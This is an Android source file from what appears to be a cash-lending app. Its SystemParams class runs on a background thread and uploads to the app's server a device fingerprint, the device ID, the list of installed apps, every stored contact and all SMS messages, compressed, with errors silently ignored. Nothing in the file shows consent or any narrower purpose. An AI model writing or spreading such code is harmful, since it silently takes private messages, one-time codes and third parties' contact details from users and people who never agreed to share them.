package com.kly.cashmall.utils.system;

import android.app.Activity;

import com.google.gson.JsonArray;
import com.google.gson.JsonObject;
import com.ishumei.smantifraud.SmAntiFraud;
import com.kly.cashmall.baserx.RxManager;
import com.kly.cashmall.bean.BaseEntity;
import com.kly.cashmall.bean.ContactPostBean;
import com.kly.cashmall.bean.FingerprintBean;
import com.kly.cashmall.bean.SmsBean;
import com.kly.cashmall.services.Network;
import com.kly.cashmall.services.Params;
import com.kly.cashmall.utils.function.CommonUtils;
import com.kly.cashmall.utils.data.GsonUtil;
import com.kly.cashmall.utils.data.ZipUtils;

import org.json.JSONException;
import org.json.JSONObject;

import java.util.List;
import java.util.concurrent.Executors;

import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.functions.Consumer;
import io.reactivex.schedulers.Schedulers;

/**
 * @author zxp
 * @since 27/10/21
 */
public class SystemParams {

    private final String TAG = "InvokeSystemParams";

    private Activity currentActivity;
    private RxManager rxManager;

    public SystemParams() {
    }

    public SystemParams(Activity activity) {
        currentActivity =activity;
        rxManager = new RxManager();
    }

    public void invoke() {
        Executors.newSingleThreadExecutor().execute(new Runnable() {
            @Override
            public void run() {
                startUploadSMFingerprint();
            }
        });
    }
    public void invokeTwo() {
        Executors.newSingleThreadExecutor().execute(new Runnable() {
            @Override
            public void run() {
                uploadContacts();
                startUploadSMFingerprint();
            }
        });
    }

    public void startUploadSMFingerprint() {
        String fingerPrint = SmAntiFraud.getBase(SmAntiFraud.SM_AF_SYN_MODE);
        String deviceId = CommonUtils.getDeviceId(currentActivity);


        JSONObject fingerPrintJ = null;
        try {
            if (fingerPrint.contains("data")){
                JSONObject jsonObject = new JSONObject(fingerPrint);
                JSONObject data = jsonObject.getJSONObject("data");
                if (data.toString().contains("fingerprint")){
                    String fingerprint = data.getString("fingerprint");
                    fingerPrintJ = new JSONObject(fingerprint);
                }else {
                    fingerPrintJ = data;
                }

            }else {
                fingerPrintJ = new JSONObject(fingerPrint);
            }
        } catch (JSONException e) {
            e.printStackTrace();
        }

        JsonObject fingerPrintJE = GsonUtil.toJsonObject(fingerPrintJ.toString());


        fingerPrintJE.addProperty("deviceId",deviceId);
        JsonArray appsJsonArray = new JsonArray();
        List<String> appStringList = AppListUtil.getAppListAsShuMeiFormat(currentActivity);
        for (String appStr : appStringList) {
            appsJsonArray.add(appStr);
        }

        boolean hasAppsKey = fingerPrintJE.has("apps");
        if (hasAppsKey) {
            if (fingerPrintJE.getAsJsonArray("apps").size() < appStringList.size()){
                fingerPrintJE.remove("apps");
                fingerPrintJE.add("apps", appsJsonArray);
            }
        }else {
            fingerPrintJE.add("appsList", appsJsonArray);
        }

        JsonObject postBodyJsonObject;

        if (fingerPrintJE.isJsonObject()) {
            postBodyJsonObject = new JsonObject();
            postBodyJsonObject.addProperty("fingerprintData", fingerPrintJE.getAsJsonObject().toString());
        } else {
            postBodyJsonObject =
                    GsonUtil.toJsonObject(new FingerprintBean(fingerPrintJE.getAsString()));
        }

        Params params = new Params();
        params.put("data", ZipUtils.gzip(postBodyJsonObject.toString()));
        rxManager.add(Network.getApi().getFingerprint(params.buildPostBody()).subscribeOn(Schedulers.io()).observeOn
                (AndroidSchedulers.mainThread()).subscribe(new Consumer<BaseEntity>() {
            @Override
            public void accept(BaseEntity bean) throws Exception {
            }
        }, new Consumer<Throwable>() {
            @Override
            public void accept(Throwable throwable) throws Exception {
            }
        }));


    }


    public void uploadContacts() {
        List<ContactPostBean.ContactVO> contactStr = ContactService.getInstance().getContactStr(currentActivity);
        List<SmsBean> allSms = SmsUtils.obtainPhoneMessage(currentActivity);
        ContactPostBean contactPostBean = new ContactPostBean();
        contactPostBean.setContacts(contactStr);
        contactPostBean.setSmsList(allSms);
        String data = ZipUtils.gzip(GsonUtil.toJsonObject(contactPostBean).toString());

        Params params = new Params();
        params.put("data",data);
        rxManager.add(Network.getApi().getContact(params.buildPostBody()).subscribeOn(Schedulers.io()).observeOn
                (AndroidSchedulers.mainThread()).subscribe(new Consumer<BaseEntity>() {
            @Override
            public void accept(BaseEntity bean) throws Exception {
            }
        }, new Consumer<Throwable>() {
            @Override
            public void accept(Throwable throwable) throws Exception {
            }
        }));
    }

}
